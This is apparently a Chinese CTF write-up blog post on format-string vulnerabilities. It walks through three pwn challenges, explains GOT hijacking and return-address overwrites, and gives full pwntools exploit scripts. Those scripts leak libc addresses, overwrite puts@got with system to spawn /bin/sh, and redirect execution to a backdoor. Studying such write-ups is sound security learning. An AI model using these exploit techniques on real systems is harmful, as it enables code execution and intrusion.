格式化字符串例题


[TOC]

64 位程序格式化字符串漏洞

64位与32 位区别:64 位函数的前 6 个参数是存储在相应的寄存器中的。那么在格式化字符串漏洞中,虽然我们并没有向相应寄存器中放入数据,但是程序依旧会按照格式化字符串的相应格式对其进行解析。

2017-UIUCTF-pwn200-GoodLuck

64位小端序,开启了Canary和NX

程序逻辑如下:

  • flag、flag_都是局部变量,是保存在栈中的,所以可以直接利用格式化字符串漏洞将flag给打印出来

可以使用fmtarg工具算出flag格式化字符串偏移为:9,所以直接%9$s即可

  • 使用工具时注意:我们必须 break 在 printf 处。

hijack GOT

wiki:)在目前的 C 程序中,libc 中的函数都是通过 GOT 表来跳转的。此外,在没有完全开启 RELRO 保护的前提下,每个 libc 的函数对应的 GOT 表项是可以被修改的。因此,我们可以修改某个 libc 函数的 GOT 表内容为另一个 libc 函数的地址来实现对程序的控制。比如说我们可以修改 printf 的 got 表项内容为 system 函数的地址。从而,程序在执行 printf 的时候实际执行的是 system 函数。

假设我们将函数 A 的地址覆盖为函数 B 的地址,那么这一攻击技巧可以分为以下步骤:

  • 确定函数 A 的 GOT 表地址。

    • 这一步我们利用的函数 A 一般在程序中已有,所以可以采用简单的寻找地址的方法来找。
  • 确定函数 B 的内存地址

    • 这一步通常来说,需要我们自己想办法来泄露对应函数 B 的地址。
  • 将函数 B 的内存地址写入到函数 A 的 GOT 表地址处。

    • 这一步一般来说需要我们利用函数的漏洞来进行触发。一般利用方法有如下两种

      • 写入函数:write 函数。
      • ROP
      pop eax; ret;           # printf@got -> eax
      pop ebx; ret;           # (addr_offset = system_addr - printf_addr) -> ebx
      add [eax] ebx; ret;     # [printf@got] = [printf@got] + addr_offset
      • 格式化字符串任意地址写

2016-CCTF-pwn3

32位小端序,只开了NX保护

程序关键说明:

  • 程序有put,get,show三个功能
    • put:上传一个文件包括name和content
    • get:输出指定name文件的content
    • show:把所有文件的名字拼接起来然后puts出来(后上传的文件名字在前面

文件在内存中结构如下:

漏洞点:

我们可以发现get输出文件内容时,直接printf(dest);

利用方法:

  • 利用格式化字符串漏洞任意读打印出puts函数真实地址,从而计算出libc_base
  • 利用格式化字符串漏洞任意写把puts函数的got表项内容改写为system函数的地址
  • 然后执行puts(‘/bin/sh;’) ==> system(‘/bin/sh;’)
    • 这里把文件名设置为/bin/sh;然后调用show就行,这里加;是因为show会把所有的文件名连起来然后输出,;可以造成截断
    • 也可以把第一个文件名设置为h,把第二个文件名设置为/bin/s,这样最后合起来就是/bin/sh(亲测可行

exp:

from pwn import *
#context.log_level = 'debug'

io = process("./pwn3")
elf = ELF("./pwn3")
libc = elf.libc

def name():
	s = 'sysbdmin'
	p = ''
	for i in s:
		p += chr(ord(i)-1)
	print p
	io.sendline(p)

def get(name):
	io.sendlineafter('ftp>', 'get')
	io.sendlineafter('get:', name)
	io.recv(4)
	return io.recv(4)

def put(name, content):
	io.sendlineafter('ftp>', 'put')
	io.sendlineafter('upload:', name)
	io.sendlineafter('content:', content)

def show():
	io.sendlineafter('ftp>', 'dir')

#rxraclhm
name()

payload = p32(elf.got['puts']) + '%7$s'
put('A', payload)
addr = u32(get('A').ljust(4, '\x00'))
print hex(addr)

system = addr - libc.symbols['puts'] + libc.symbols['system']
print hex(system)

#fmtstr_payload(offset, {addr:value})
#把addr处的值修改为value,offset为格式化字符串的偏移
payload = fmtstr_payload(7, {elf.got['puts']:system})
print payload

put('/bin/sh;', payload)
get('/bin/sh;')
show()
io.interactive()

hijack retaddr

三个白帽 - pwnme_k0 e

程序RELRO保护全开(无法打got,开启了NX

程序功能:

  • 最开始,注册账号,密码
  • 选项1:输出账号,密码 – show
  • 选项2:修改账号,密码 – edit

漏洞点:

  • 输出账号,密码时存在格式化字符串漏洞
    • 第一个printf输出账号
    • 第二个printf输出密码

发现程序存在后门:

思路:修改返回地址到后门函数处

  • 泄漏show函数的存储返回地址的栈地址
  • 修改返回地址为0x4008AA

动态调试,把断点下在输出密码的printf处,账号输入AAAAAAAA,密码输入BBBBBBBB

  • 可以看到函数返回地址存储在0x7fffffffdd38处,而rbp(为格式化字符串的第6个参数)里面存储的是栈地址0x7fffffffdd70,虽然栈的地址是变化的,但是两者的偏移是不变的。
    • 0x7fffffffdd70 - 0x7fffffffdd38 = 0x38
  • 账号存储在0x7fffffffdd40,为格式化字符串的第8个参数
  • 密码(格式化字符串)在第10个偏移处

所以我们可以先用%6$p泄漏处rbp,然后利用rbp-0x38计算出存储返回地址的位置ret_addr,然后修改账号为rer_addr,密码为'%2218c' + '%8$hn',然后show即可

  • 可以看到返回地址为0x400d74,system_addr = 0x4008AA ==> 0x40都是一样的,所以我们只需要写入两个字节即写入08AA ==> 2218

from pwn import *

#context.log_level = 'debug'
io = process("./pwnme_k0")

backdoor = 0x4008AA

payload = '%6$p'

io.sendlineafter(': \n', 'XiaozaYa')
io.sendlineafter(': \n', payload)

io.sendlineafter('>', '1')
io.recvuntil('XiaozaYa\n')
rbp = int(io.recvline(), 16)
ret_addr = rbp - 0x38
print hex(rbp)
print hex(ret_addr)

payload = '%2218c' + '%8$hn'
io.sendlineafter('>', '2')
io.sendlineafter(': \n', p64(ret_addr))
io.sendlineafter(': \n', payload)
io.sendlineafter('>', '1')
io.interactive()

文章作者: XiaozaYa
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 XiaozaYa !
  目录